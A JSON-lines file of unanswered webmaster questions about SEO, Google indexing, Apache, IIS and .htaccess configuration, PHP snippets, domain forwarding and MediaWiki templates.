{"id":"4404","title":"Is there anything wrong with targeting the alt attribute in css?","text":"I tried targeting the the alt attribute in css. My solution worked in Firefox\/Mozilla, but fails in Safari-Chrome\/Webkit. Is there anything wrong with styling an alt tag? If not, how do you suppose I troubleshoot for Webkit. _Here's an example:_ **CSS** img#logo[alt=\"Site Title\"] { color: #999; font-size: 2em; } **HTML** <img id=\"logo\" src=\"\" alt=\"Site Title\" width=\"\" height=\"\" \/>"}
{"id":"60456","title":"80% of Website Traffic coming from Just one Town in USA - Strange?","text":"For the last month, 80% of my total traffic was coming from just one Town in the USA. Here are the attributes: 1. It is one of the richest towns in California in USA which defies logic since I run a website for coupons. 2. The bounce rate is not 100%. It is around 80%. I read on this forum and it talked about how the bounce rate should be very close to 100% if it is a bot. 3. Almost 98% of visitors from this town show up as new visitors. 4. Around 20% of this traffic shows up as coming from Stumble Upon with a Bounce Rate of 57%. The other 80% shows up as coming DIRECT to website. (Hardly unlikely since we just started the website). 5. 50% of Visitors are using Chrome, 30% Firefox and 20% Safari. Can anyone tell me how to check if all this traffic from one town is real or fake? I am concerned that DIRECT Traffic is highly unlikely since this is a very competitive market and we just got started."}
{"id":"13316","title":"Google is not indexing my Tumblr blog sufficiently","text":"I have a 35-day-old blog on tumblr. I submitted it to Google using \"Add your URL to Google\" page about a month ago. However, when I search Google for the content of my blog using the following query, only 5 posts are fetched: > site:mehper.tumblr.com I have more than 200 posts on my blog. I'm also using Google Analytics. What else can I do to make Google fully index my blog?"}
{"id":"13310","title":"What tools to use for automated link and spellchecking","text":"I'm looking at two automated tools to scan our site and alert us of spellcheck and link error problems. Check Dog - http:\/\/checkdog.com\/ Site Check - http:\/\/siteimprove.com\/Solutions\/SiteCheck\/SiteCheck2.aspx Are there other tools we should consider for this? Or do you have any experiences you can share about these tools? Our goals are basically to have something consistently checking the entire site for spelling errors and link problems. We've been just using Xenu - http:\/\/home.snafu.de\/tilman\/xenulink.html which works pretty well for spot link checking, but it doesn't do any spellchecking and it isn't automated."}
{"id":"4403","title":"Why is the number of pages on my website indexed by Googlebot decreasing?","text":"I am monitoring the number of pages indexed by Googlebot for one of my websites . I noticed that since last week, the number of pages has dropped by about 60 or so. Now to be fair, I have not added that much over the last week. (Actually I don't think I added any new content.) But at the very least, I would have thought that the number of indexed pages would be static (if I was not adding anything new.) I don't understand why the numbers have dropped. Does anyone have an official explanation for this?. I have checked the Google Webmaster Tools, and have not come across anything that addresses this issue directly."}
{"id":"9573","title":"What does \"Impression Change\" in Google webmaster->search mean?","text":"I have been using Google Webmaster Tools. I checked out the search queries section. There I found a lot keywords and its report, but I could not understand what the data in those reports mean. Can anyone help me with a reference or meaning of \"impression\", \"change\", and \"other\"?"}
{"id":"9689","title":"h1 title attribute","text":"> **Possible Duplicate:** > Why don't TITLE tags get indexed in google? Hello there, I have a h1 element on my page which is working great. I have also been using the title attribute on this element which I don't think has been causing much harm at all. My h1 title is \"The Great Ocean Road\" and the title attribute on that is \"Great Ocean Road\" - so it's a variation of the h1 text. These are both keywords for the site so i'm hoping it's a good thing for seo. Is that a bad idea do you think? I'm not sure what Search Engines think about using a title attribute or even if they would 'mark me down' for doing it in such a way. Do you think if the h1 text is \"The Great Ocean Road\", the title attribute should be \"The Great Ocean Road\" aswell? Thank you in advance"}
{"id":"9571","title":"Do anchors in urls affect ranking in seo?","text":"Do anchors in urls affect ranking in seo? <a href=\"website.com\/cotton\">link 1<\/a> As oposed to: <a href=\"website.com\/cotton#green\">link 2<\/a>"}
{"id":"9570","title":"Problem in Addon Domain name binding with existing directory in my webspace","text":"I recently purchased a domain thinkzarahatke.com. At the time of purchasing i selected an option, say url redirect, to my existing site. Further I had entered Naming server detail. But I dint find any other option to change URL rewrite parameters under Domain Name Manager. From the cPanel of my hosting space, I had added new domain as addon and set a subdirectory for it. Now If I am trying to access my new domain directly, it is automatically redirecting to my old website. While if i access some inside directory, like thinkzarahatke.com\/blog, then i am able to access to my new site. What wrong i done? Please tell me if i need to do some more settings with addon domain."}
{"id":"53948","title":"Keyword diversification\/ site structure issues","text":"I am wondering if you could help me out with some keyword\/ site structure issues that I have. Firstly I will mention our background (to give context), and then I will mention the question at hand. **Background of our site structure:** We have our main site under greatlearning.com. Under this we have our main products greatlearning.com\/ipc, greatlearning.com\/imyc, greatlearning.com\/lfl. These are separate products, however all to do with education. We outsource our web providers, and so far the current CMS system only allows us to have two levels below the products e.g. greatlearning.com\/ipc\/the- ipc\/units-of-work. So the \/the-ipc\/ is fixed (main nav item), and the \/units- of-work is editable. Sadly however we cannot create a level below this e.g. greatlearning.com\/ipc\/the-ipc\/units-of-work\/page-or-section-goes-here. Enabling another level would require a great deal of work so this is off the cards. We have spoken to our developers and they have agreed to give us ftp access to one section on the website. This will allow us to create folders\/ pages under the url of greatlearning.com\/info\/. This will allow us to create custom landing pages and any additional custom pages e.g. for events, questionnaires, freebees etc. An example of this would be greatlearning.com\/info\/questionair-2014\/page.html. This is all great, however we really need to diversify our keywords on our websites e.g. on this page greatlearning.com\/ipc\/the-ipc\/what-is-ipc we ideally need to have links going off from this page onto other separate pages to talk about 'national curriculum updates', or 'ways it helps teachers', or 'ways it helps children learn' etc. So our problem at the moment is how to structure the site so that it makes sense for our keyword diversification. **Question:** Given that we have a new malleable section of our website (greatlearning.com\/info\/) could we then use this for our keyword diversification? For example on this page greatlearning.com\/ipc\/the-ipc\/what-is-ipc, could this then link off to urls such as greatlearning.com\/info\/ipc\/national-curriculum- updates\/, or greatleanring.com\/info\/ipc\/ways-the-ipc-helps-teachers\/. As for user experience, we will make sure the pages have clear links forwards and backwards to the main pages. Our main concern is what Google will think of this structure. Also, will it be strong enough to drive traffic to this new \/info\/ section."}
{"id":"9574","title":"My site is getting popular, bandwidth expensive","text":"I'm running a (small) image hosting site which has been getting a little bit of traction lately (2,000 to 5,000 visitors a day, spikes up to 10,000). It's hosted on Linode and I've already run out of the bandwidth for this month (300 GB). I've experimented with Amazon S3 but that was costing me $5 a day, Linode currently costs me $30 a month. I get a tiny bit of revenue from ads (Adsense and Black Label Ads) but it's not enough to break even. What should I do? Obviously I'd like to keep running the site but not if it starts costing me a lot of money."}
{"id":"47383","title":"Link building campaign for externally hosted subdomain","text":"I am launching a link building campaign for a subdomain. I plan to ensure that the subdomain receive enough links from the parent domain and external domains in order to speed up indexing and increase authority, trust, PageRank, etc. Here is my question: this subdomain is hosted by a different web host than the parent domain. Does this affect SEO for the subdomain?"}
{"id":"9936","title":"Will my new HTML5 website decrease my Google ranking?","text":"I have a traditional HTML website that loads pages\/sections of the site when people click on menu items. Pretty standard. Currently, I'm working on relaunching my website with a brand new HTML5 code & jquery that loads the whole thing, and just slides from one section to the next, sort of like this website: http:\/\/www.mino.pl\/ My concern is that this will affect my ranking with google and websiteoutlook.com because it may seem like the website only has one page now instead of 8, making it look like I have less pageviews and making my site less relevant for search engine rankings. Are my concerns legit? If so, do you have suggestions on how to avoid it? I really like the idea of working with a page that 'slides' to different sections better than having pages load all the time. Any suggestions\/thoughts would be very much appreciated. Thanks."}
{"id":"10757","title":"Ensure we're found in Facebook search for both full & abbreviated company names?","text":"We have a client with a facebook page, let's say his company is called **Bob Roberts Super Widgets**. And if you search in Facebook for Bob Roberts Super Widgets then up he pops. But the shorthand he's commonly known by is **BR Super Widgets** and indeed the website we've created for him is br-super-widgets.com. In Facebook, searching for BR Super Widgets doesn't show up our Mr Bob. We don't have a lot of Facebook expertise, so asking for help here. Does anyone know how to ensure you're found in Facebook search for both short and long company names? Have found this this similar question in the Facebook forum but the poor old questioner never got a response."}
{"id":"5397","title":"Private registration of “.co” domains, is it possible?","text":"I've registered a lot of domains in the past and have always usually purchased the additional service to make them have private whois info (e.g. domains by proxy) Today I registered two new \".co\" domains from GoDaddy. I'm now trying to make these private registrations but it doesn't look like its possible. Its it possible to make \".co\" domains have private whois info?"}
{"id":"47759","title":"Are twitter backlinks counted","text":"We've recently had our website tweeted by a couple of bigish media outlets 0.5m+ followers, some of the links are our direct url, and some are t.co urls. From an seo point of view a link on their site would have been preferable, but i was wandering if even though the links are nofollowed, does google give weight to links from twitter accounts with high social clout, as i know they have fire hose access to the twitter api ?"}
{"id":"54232","title":"What alternatives to Animated GIFs are natively supported on all popular modern browsers on tablets, etc. without pluggins?","text":"I was looking for an alternative animated images to Animated GIFS. But per CanIUseit support for APNGs seems to being phased _out_. And MNG support isn't even listed there and pages about it don't even mention Chrome (suggesting those pages are very very old) _Clarification_ : This is for a **web app** , so it'll need to support: - Safari on iPad (so can't depend on extensions) - Chrome on Windows and Mac - Safari 6.0+ on Mac - Chrome on Android"}
{"id":"14832","title":"How to map URL to IP?","text":"I'm completely ignorant when it comes to hosting. Suppose I have a web application up and running on IIS 6.0 locally, and then I publish it (somehow?) I assume the site will be accessible from `http:\/\/XXX.XXX.XXX.X\/`, but what if I want a domain name to point at it? Can I do it on my own, dedicated server, or have I absolutely must go to a third party? I believe I need a DNS, but can I set one up for free somehow?"}
{"id":"11807","title":"Configuring `mod_vhost_alias` to server subdomain-based websites","text":"I am currently in the process of setting up an Apache server that will be hosting projects built from SVN using a continuous integration server. The problem is, however, that while I've managed to configure the build server to output the revisions of a project to a directory, I'm stumped as to how to actually configure Apache using `mod_vhost_alias` to serve the different projects. The directory structure is generated using the following pattern: > \/usr\/share\/Projects\/r[revision] Inside, there are two directories which I'd like to configure access via a subdomain: > api.r[revision].testserver.local -> .\/server > > r[revision].testserver.local -> .\/web There is already a local DNS server that serves the wildcards on `*.testserver.local` and already resolves them to the correct IP, but Apache needs to resolve the correct `DocumentRoot` for the different subdomains. The end result I'm hoping for is that as long as the build server outputs and configures the projects inside `\/usr\/share\/Projects\/r*`, Apache will know how to resolve these subdomains without the need to write conf files and reloading configurations each time a new revision is fetched and built from SVN."}
{"id":"11806","title":"Number of visitor widget","text":"I am developing my own blog site in ASP.NET and I would have several blogs in future. I want to have a widget on page which will show the number of user visited to my page based on the URL {Because for every every blog I will a unique URL}, so that the new user could know that the blog has been visited how many times! I can make the same via coding, very easily, but I have database size restriction from my hosting provider and I can't go beyond that !! Please assist !"}
{"id":"45296","title":"SEO Joomla URL to WordPress URL's","text":"I am trying to migrate from Joomla 1.5 SEF URL's to WordPress SEF URL's. 1. The old links use this formatting: `\/site\/sectionname\/categoryname\/id-titlename.html` 2. I want to migrate it to `\/wp\/index.php?p=id` I have modified my .htaccess file but it doesn't seem to work. RewriteEngine on RewriteRule ^\/(.*)\/(.*)\/[0-9]+-(.*)$ \/index.php?p=$3 [L] Does anyone have an idea how I can resolve this issue."}
{"id":"45294","title":"Shopping site catering to 2 countries where *most* content is same, except pricing. Duplicate content?","text":"I'm working on redeveloping a small site for a boutique food producer. They are New Zealand based but are wanting to start selling in Australia. They have both domain names (.co.nz and .com.au). Essentially, most content on the site will be the same for both countries. There will be some minor differences (i.e. contact page, locations) but really it's just the product pricing that will differ. My first thought is to set it up so that .com.au and .co.nz point to the same site (codebase) and dynamically switch the content parts that change depending on the domain. This makes sense from a development point of view. However, will I be penalised for 'duplicate content'? and how could I avoid that. I could set canonical urls for all pages - perhaps to point to the NZ version but that would harm the AU SEO?"}
{"id":"20111","title":"Strange results of google's indexing of my site","text":"I have a site named comehike.com which got hit by the panda update and I am trying to de-index some bad pages. If I do this search in google: site:comehike.com\/outdoors then I see about a 1000 results. If I do this search in google: site:comehike.com\/outdoors\/ then I see about 6,000 results. How can that be? The only difference is the slash at the end. If anything there should be less results or the same number. No?"}
{"id":"33245","title":"Prevent file table from showing navigation links","text":"I am trying to display the files in my folder, \"Amir\", but my table keeps displaying all of the files, \".\" and \"..\". How can I prevent my table from displaying \"..\" or \".\"? I have placed the code and a picture below. <?php echo '<table border=\"1\"> <tr> <th>Name<\/th> <\/tr>'; if ($handle = opendir(\"amir\")) { \/\/echo \"Directory handle: $handle\\n\"; \/\/echo \"Entries:\\n\"; \/* This is the correct way to loop over the directory. *\/ while (false !== ($entry = readdir($handle))) { \/\/ echo \"$entry\\n\"; echo' <tr> <td><a href=\"'. $entry . '\">'. $entry. '<\/a><\/td> <\/tr> '; } \/* This is the WRONG way to loop over the directory. *\/ while ($entry = readdir($handle)) { \/\/echo \"$entry\\n\"; } closedir($handle); } echo'<\/table> '; ?> "}
{"id":"68785","title":"PHP rounding issue","text":"We have a problem on our Google Shopping feed which seems to be a rounding issue. THis has caused Google to suspend our feed and the combined might of myself and 2 development agencies we use can not seem to fix it. The script does the following; Get the price (or special price if on special) of the product; if ($product->getSpecialPrice() && ($product->getSpecialPrice() < $product->getPrice())) { $tempPrice = $product->getSpecialPrice(); } else { $tempPrice = $product->getPrice(); } Add the VAT by multiplying by 1.2 $_priceIncludingTax = $tempPrice * 1.2; Using the PHP round() function to round the price to the nearest 2 decimal places (this should do half up and less down by default, i.e 1.5 = 2 and 1.4 = 1 (according to the PHP documentation)) $_priceIncludingTax = round($_priceIncludingTax, 2); This should work for all our products for example the 3 examples below; SKU | Price in website backend | X 1.2 | rounded | Whats actually in feed _DL229 | 589.86 | 707.832 | 707.83 | 707.84_ SKU | Price in website backend | X 1.2 | rounded | Whats actually in feed _CB020 | 9.06 | 10.872 | 10.87 | 10.88_ SKU | Price in website backend | X 1.2 | rounded | Whats actually in feed _DM056 | 16.93 | 20.316 | 20.32 | 20.31_"}
{"id":"44746","title":"Website forwarding, keeping original URL","text":"We have `example.org` (our main site) registered and hosted on an american server. We bought `example.gr` domain name in Greece, a local registrar. We made `.gr` point at `.org` DNS all right. A visitor types URL `.gr` and sees `.org` in his browser all right, but URL immediately changed to `.org`. Is there a way to keep URL `.gr` and still see `.org`? If a `.org` visitor then clicks on a link to `example.org\/abcd.php`, could a `.gr` visitor clicking on the same link see the address bar show `example.gr\/abcd.php`? Our American registrar told us to contact Greek registrar and ask for mapping. The Greek registrar basically set an iframe displaying `example.org` and called it `example.gr`. But that was wrong because obviously, each time a visitor would click on something, the address bar would always display one thing only, the same URL all the time, `example.gr`. So we cancelled that cheap mapping trick down, and I don't know what to do."}
{"id":"47326","title":"Can I allow access to a HTML page only if the user comes from a specific site with .htaccess?","text":"A website with two HTML pages, A and B. Both can be accessed by typing the URL, of course. However, can I disallow any access to page B, and only allow it if the user is coming **from** page A? As in, a link in page A that redirects to page B. Is it possible with .htaccess, or are there other alternatives?"}
{"id":"44743","title":"Unnatural Links Message from Google","text":"We just recived (March 8 2013) a message from Google saying. > We've detected that some of your site's pages may be using techniques that > are outside Google's Webmaster Guidelines. Specifically, look for possibly > artificial or unnatural links pointing to your site that could be intended > to manipulate PageRank. Examples of unnatural linking could include buying > links to pass PageRank or participating in link schemes. We encourage you to > make changes to your site so that it meets our quality guidelines. Once > you've made these changes, please submit your site for reconsideration in > Google's search results. Our site is AlternativeTo and it's a big well respected software site and we have never ever bought any links or anything like that. We recive natural links from places like BBC, Reddit, Lifehacker, cnet and so on. Anyway we do however have some sites that is using our API and are sending 100.000+ links back to us from their domains and i also see some other rather dodgy looking sites with low page rank linking to us. Nothing that i can clearly say are spam but well they look bad and have lots of ads on them. How the heck would i know what links to remove? I mean we have hundredthousands backlinks from all over the web to our site. Where to start? I found Matt Cutts suggestions about downloading recent links and so on but there are still hundreds of new links discovered by google each day .. Anyone have any suggestions about this? Should i ask the sites that are using our API to put no-follow on their links to us to avoid these 100.000+ links from single domain names?"}
{"id":"467","title":"If I don't want to set any special behavior, is it OK if I don't bother to have a robots.txt file?","text":"If I don't want to set any special behavior, is it OK if I don't bother to have a robots.txt file? Or can the lack of one be harmful?"}
{"id":"68788","title":"One larger site OR a medium and a one subsite?","text":"I've build two webshops: **A** - Sells watch straps only **B** - Sells watches, tools for watches, more watches and more watch related objects. We've come at a point where a choice has to be made and we're having difficulty deciding which option is the better one: **Option 1:** Leave it as is (for the user). Make the appearance of two stops (A ánd B) **Option 2:** Make the watchstraps a part of the site B, resulting in 1 larger shop I don't really know how to decide which is the better and\/or why. Both sites are very similar (one is purple with orange, the other orange with purple), so merging them won't confuse too many people. **I'd like to know how to resolve this issue, how do I decide?** Offcourse is income the primary reason for these sites to exist, so SEO is muy importante. * * * For the replies: Thank you. I'm going to decide soon, maybe someone has something important to add. +1-ed for good info :)"}
{"id":"68783","title":"Can't change HTTP Vary header from PHP","text":"I have a test server running CentOS, and changing the `Vary` header there through PHP via: header('Vary: Accept'); works as expected (it's added to the `Accept-Encoding` value that Apache already adds by itself). On the Ubuntu 10 LTS production server it does not. I tried to search the web for answers, but couldn't find any. Even setting: header('Vary: Accept',true); \/\/ forces the header to be replaced won't change the `Vary` header. Any help would be appreciated. The server is running Apache\/2.2.14 (Ubuntu) and PHP\/5.3.2-1ubuntu4.26."}
{"id":"27589","title":"How can I host a website on a dynamically-assigned IP address?","text":"I recently upgraded my internet to the point that it is much faster and more reliable than my current webhost. I would like to move my current domain to be hosted at home, but my IP address is dynamic. As far as I know, I only get a new IP when I restart my modem and or router (which is almost never) or when cable one (my ISP) pushes out a firmware update (rarely). There are a few ways I can see doing this: 1. Convince my ISP to give me a static IP 2. Assign my router my current IP to force a static IP (which might work?) 3. Set my DNS record to my current IP address and update it on the rare occasions that it changes. Obviously I'm hoping that the first one works, but I don't want to pay a lot of extra money (if that's what it takes) to get a static IP address. Which of these options will work most reliably?"}
{"id":"35709","title":"Oracle EZConnect in Mediawiki","text":"Mediawiki supports Oracle and I'm trying to configure it in the installer. The installers says you can use EZConnect...something like: user\/pass@\/\/server.example.com\/dbname or since the installer has fields elsewhere for user\/pass server.example.com\/dbname The installer includes a link to the EZConnect docs: http:\/\/docs.oracle.com\/cd\/E11882_01\/network.112\/e10836\/naming.htm. All the examples in that doc include a forward slash. But every combination I've tried results in an error like this: Invalid database TNS \"sever.example.com\/service_name\". Use only ASCII letters (a-z, A-Z), numbers (0-9), underscores (_) and dots (.). I can't find any examples of EZConnect that don't include a forward slash. That error is from Mediawiki, not Oracle. I'm tailing the listener log and there is no connection made - Medaiwiki is returning an error without trying to connect. I'm using php OCI8 with the Oracle instant client. I don't have a tnsnames.ora setup for this client - which is kind of the point of EZConnect. I did write a test php script that connects via oci_connect just fine. Has anyone configured Mediawiki to use Oracle with EZConnect? If so, what did you use in the installer?"}
{"id":"54353","title":"What's the name of this website component that shows images with right and left arrows?","text":"I can't figure out what name is this supposed to have:  I am talking about those \"featured articles\" sections. I just don't know how to google them so I can find some tutorial or guide on how to do one of those. I won't ask that of you, I just want to know the \"official name\" for those."}
{"id":"59776","title":"How to add custom php code in Wordpress text widget","text":"I cant make my PHP code work when I add it in WordPress text widget (without plugin). The same code works on main (`index.php`) , but not in widget. I searched for this question and found the answer - which says me to add the code in the end of the `functions.php` file, so I did but afterwards on the top of the header I mentioned the text I've just pasted in function file. **EDIT: adding the code** <?php error_reporting(E_ALL ^ E_NOTICE); \/\/ hide all basic notices from PHP \/\/If the form is submitted if(isset($_POST['submitted'])) { \/\/ require a name from user if(trim($_POST['contactName']) === '') { $ContactNameError = 'Forgot your name!'; $hasError = true; } else { $ContactName = trim($_POST['contactName']); } \/\/ need valid email if(trim($_POST['email']) === '') { $emailError = 'Forgot to enter in your e-mail address.'; $hasError = true; } else if (!preg_match(\"\/^[[:alnum:]][a-z0-9_.-]*@[a-z0-9.-]+\\.[a-z]{2,4}$\/i\", trim($_POST['email']))) { $emailError = 'You entered an invalid email address.'; $hasError = true; } else { $email = trim($_POST['email']); } \/* \/\/ we need at least some content if(trim($_POST['comments']) === '') { $commentError = 'You forgot to enter a message!'; $hasError = true; } else { if(function_exists('stripslashes')) { $comments = stripslashes(trim($_POST['comments'])); } else { $comments = trim($_POST['comments']); } }*\/ if(trim($_POST['phone']) === '') { $phoneError = 'Forgot your number!'; $hasError = true; } else { $phone = trim($_POST['phone']); if(function_exists('stripslashes')) { $phone = stripslashes(trim($_POST['phone'])); } else { $phone = trim($_POST['phone']); } } \/\/ upon no failure errors let's email now! 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{"id":"43389","title":"Why my website ranking fall?","text":"Hi please can any one check my website that why my website ranking fall down by the keyword \"backlink service, backlinks service\""}
{"id":"15046","title":"Subdomain still times out after being set up a month ago","text":"I would like to use the subdomain `www.high-res.domain.com` to be accessed by external customers with specific permissions to access the site (like FTP). We use Network Solutions to house `domain.com`. We recently added a new IP address to point to `www.high-res.domain.com`. I gave the IP address to the company that hosts our website. I pinged `www.high-res.domain.com` and it points to the correct IP address but still times out. It’s been a few weeks now and when you ping it, it still times out. C:\\>ping XXX.XXX.X.XXX Pinging XXX.XXX.X.XXX with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. Ping statistics for XXX.XXX.X.XXX: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss). `tracert` times out as well. I even went to DNS tools and a few other sites for checking this and it shows the same thing. I recently went into the DNSmgmt on our server (wink2k3sp1) and created an `A` record under the DomainDnsZones which translated to a `CNAME` when you look at it. Under the domain it has two entries, one to the subdomain and the other to the website host. Each has separate IP addresses. Is this correct?"}
{"id":"29732","title":"What happens if a banned domain is redirected to another domain?","text":"What would happen if a domain that was banned from google was redirected to an unbanned domain? Would the ban follow over to the new domain, or would the new domain be unaffected? Also, if the ban follows over, wouldn't that mean that someone could sabotage a sites rankings by redirecting a banned domain? If so, what can be done about it?"}
{"id":"29733","title":"Handling URL Rewrite in IIS5","text":"On an older server, using IIS5, I have an error handling page which for some missing pages uses `Server.Transfer` to load other pages based on a database. The pages all work for a browser but some systems e.g the W3validator gets an error when viewing the page (500 Internal Server Error). I have Response.Clear() Response.Status = \"200 OK\" before the `Server.Transfer` but the error still seems to be there. Very frustrating! Any suggestions as to why some systems fail when viewing the page would be welcome."}
{"id":"39600","title":"Will a domain(Y) redirected to a maindomain.com\/product\/ be indexed by SE?","text":"We have several domains with the names of products we sell. The idea is to create mini sites in the future that specialize just in those products, mainly for better placement on SE results pages. As of now, none of these websites have any content, and it doesn't look like we will be adding any for a while. > For example, website **productA1.com** > > If i redirect that website to **mainwebsite.com\/productA1\/** will, will > **productA1.com** be indexed by search engines? In other words, will it be > displayed on Search engines as a result (productA1.com)? If so, should i use > 301 or 302 redirect? > > Or is the best option to upload that one html page from my **mainwebsite.com > to productA1.com?** I don't want to point any of them to the main root of my main website, only to the appropriate product categories. I just found a competitor that ranks #1 for a product we also sell, and that page (I'm not sure if entirely, but i believe so) is redirected to their main website\/category but the address is masked. Which is exactly what I'm looking for, ranking up there with the keyword based website. > Edit: I found out that the competitor uses an iframe that renders in 100% of > the page, and the iframe displays mainwebsite.com\/productA1\/ Is that the > best practice?"}
{"id":"780","title":"Wordpress - Going from categories to tags","text":"I have some aging Wordpress blogs where I made the mistake of creating way too many categories (50+ in some instances). This was, in part, due to the fact that tagging was not yet available in Wordpress. I'd like now to condense the categories and implement tags. The problem is, I don't want to break indexed links. What strategy and perhaps plug-ins could I consider to do this? Ideally, the category listing pages would permanently re-direct to the appropriate tags, which I would set. I've also got to deal with the problem of people who pull feeds directly from categories. Should I just chalk these few sites up to a learning experience and leave them alone, or is there a way for me to make this correction so late in the game?"}
{"id":"783","title":"How can WordPress be used, besides a blog?","text":"WordPress has been primarily a blogging tool from the start. But recent releases have been very customizable and extensible, especially 3.0. What other purposes could WordPress be used for, besides just a blog?"}
{"id":"29739","title":"Can I download raw data from Google Analytics for another processing?","text":"I had disabled Apache log on my web so I have only data for a few last days. On the other hand Google Analytics tracks my web for months. So I'm interested if it is possible to get raw data from Google Analytics. I'm particularly interested in: visitor IP + my web URL address."}
{"id":"53595","title":"Author data not coming up in Google search","text":"I was trying to add author information for search. I followed this link and did everything in option 2. Added `?rel=author` and added my blog in my Google+ account. But even after re submitting for index from Google webmasters author info doesnt come up. I have tested this through the Rich snippet testing tool in Webmasters account and everything seems fine and I do see a dummy result showing full info. And it also says _rel=author markup has successfully established_ So what am I missing out here ? EDIT: Ok after long time it did come up in search results last week, but now its not coming up ? Is it related to traffic to site(which is not too bad) ?"}
{"id":"18573","title":"Purposes and priorities of Apache conf files","text":"I've installed an Apache2 server on a Linux Box (Ubuntu 10.04 TLS) and am trying to setup some virtual host and proxies. There is some stuff in the `apache2.conf`, an empty `httpd.conf` (which was used heavily in the Windows setup I had), and then there are the invidividual files for the websites in my `sites-available` directory, call them `a.com` and `b.com`. What information needs to be where? What is the priority of processing for these? Will repeated information cause a problem?"}
{"id":"25140","title":"How to implement rel=author on a page with multiple authors?","text":"I have a forum, and I would like to add `rel=author` to my pages. However, each page has multiple authors, and I'm not sure how I should implement `rel=author` if I have multiple authors. Does anyone have any advice?"}
{"id":"15125","title":"designing web UI","text":"I'm pretty comfortable with the backend side of web development (say, using java spring mvc, or grails), but I really don't know where to start when it comes to client side UI (as in designing pages that look good). OK, I know that there's CSS and I can do just about anything with it, and I know about CSS frameworks like Blueprint. But how do front end designers actually design pages? Do they use a WYSIWYG editor of some sort? Do they code the whole thing in vim and rely on their magical CSS skills? Do they use something like Photoshop to visualize the page and then translate that to html+css? I'm hoping for some insight into the way professional developers actually do it, vs. \"Go find a site you like, click view source, copy the things you like, repeat\"; or \"Go to www.freecsstemplates.com and download a template, copy into css directory\". Unless that IS the way professional developers design pages, which would be sad. EDIT: Hopefully this doesn't get closed. What I'm asking is: Is it normal for people to simply code in notepad or vim or whatever, and just apply css knowledge. Is that the way frontend designers typically work, in industry. Its the way I imagine approaching it. Or do they do something else? I'd like to get better at it but I'd like to know vaguely the right approach."}
{"id":"34295","title":"Do twitter links adversely affect SEO?","text":"I had planned on making a page according to a specific theme using content populated from the Twitter search API. With the new display requirements, I see I am obliged to include hash links, twitter username links and a lot of other garbage links. **QUESTION** * Are these links likely to adversely affect my page's SEO? * If yes, are there any ways I can minimise that (ie. add no follow or such)."}
{"id":"48950","title":"Which editor creates file with extension html.add","text":"My sister teaches HTML language on the university. Students have to build their own website during class but one of them gave the project with weird code which cannot be written by hand. Moreover each HTML file has something what looks like configuration file to visual HTML editor. Maybe one of you knows which HTML visual editor creates files with extension `*.html.add`. For example near file `index.html` we got file `index.html.add` with following content: <LASTEDITED BY=\"Przemek\"\/> <OPTION NAME=\"WORDWRAP\" STATE=\"ON\"\/> <OPTION NAME=\"LINENUMBERS\" STATE=\"ON\"\/> <OPTION NAME=\"SHOWALLCHARS\" STATE=\"OFF\"\/> <OPTION NAME=\"DIVIDEEDITOR\" STATE=\"SINGLE\"\/> <OPTION NAME=\"WYSIWYGMODE\" STATE=\"OFF\"\/> <LIVESPELL ENABLED=\"ON\"\/> <AUTOCORRECT ENABLED=\"ON\"\/> <PARSER NAME=\"HTML+PHP extended\"\/> <POSITION LINE=\"58\" CHAR=\"0\"\/> <SELECTION START=\"1020\" LENGTH=\"0\"\/> <SELECTIONNEW LEFT=\"1\" TOP=\"65\" RIGHT=\"1\" BOTTOM=\"65\" ISBLOCK=\"False\"\/>"}
{"id":"15120","title":"I am looking for a Wordpress, Drupal or Joomla plugin","text":"I am looking for Wordpress, Drupal or Joomla plugin similar to this one, with product list and PDF attachments. Does anyone know if there is such a plugin?"}
{"id":"34290","title":"Google structured data dashboard not seeing any data","text":"When I plug my web page into Google's Rich Snippet Testing Tool it grabs all of the schema.org info I've plugged in correctly, but it says it doesn't detect any structured data when I click on the structured data dashboard. Is the dashboard buggy still, being so new or is it possible I'm doing something wrong?"}
{"id":"68872","title":"Silo structure on magazine site","text":"I will have to code magazine theme using silo structure. Requirements of the design is to display most recent posts of each category on the home page, popular\/last commented posts in the sidebar etc etc.. I cant think of anything else than setting nofollow attribute to each of mentioned links. But by doing so, on the home page for example i will have 50-80 nofollow links... Will that actually hurt SEO? What are your suggestions?"}
{"id":"61743","title":"What HTTP header code does URL-Rewrite return?","text":"If I used the native URL-Rewrite module to rewrite (not redirect) a URL, does it return 302, 301, or 200? Is this method OK to use for a permanent URL rewrite? Here is sample code for the redirect: <rewrite> <rules> <rule name=\"Rewriter\" patternSyntax=\"ExactMatch\" stopProcessing=\"true\"> <match url=\"foobar\" \/> <action type=\"Rewrite\" url=\"\/actual\/foobar.aspx\" \/> <\/rule> <\/rules> <\/rewrite>"}
{"id":"68871","title":"How do I find text rendered using templates in MediaWiki?","text":"I'm currently reworking a MediaWiki template that has some semantic design issues: there are two almost exact key\/value pairs and one of them may be completely removed: {{Template | foo1 = bar ... | foo2 = '''bar''' ... }} I'm also removing the `foo2` key at the pages that use this template, so I have an idea that some kind of marking may be helpful: I've changed the template source code so it could show a warning that the template usage is currently being reworked: {{#if: {{{foo2|}}} | <p style=\"color: red;\">The template is under construction.<\/p> }} So, if the template is used with the `foo2` key, then the warning is rendered at the page. That's great. But as I'm not aware with bots setup or implementation, I have to process the templates manually, and I simply iterate through every page that uses the template using `wiki\/Special:WhatLinksHere\/Template:Template`. This is not a reliable way because I may skip a page. Another option I thought was able to work is searching for \"The template is under construction\". But unfortunately MediaWiki seems to be unable to search for text that is rendered under template transclusions. Is there any way to find text that's rendered with a template using standard search? (Bots are not an option in this case unfortunately because of several reasons. My MediaWiki version is 1.19.0)"}
{"id":"63203","title":"Google Universal Analytics - Campaign ID","text":"In the Google Universal Analytics doc, they show a parameter called Campaign ID. The problem is that there is no other information about the use and the interest of this parameter. Indeed, all other campaign related parameters are very usual (utm_...) but the Campaign ID seems very odd. Can anyone provide more insight about it, please?"}
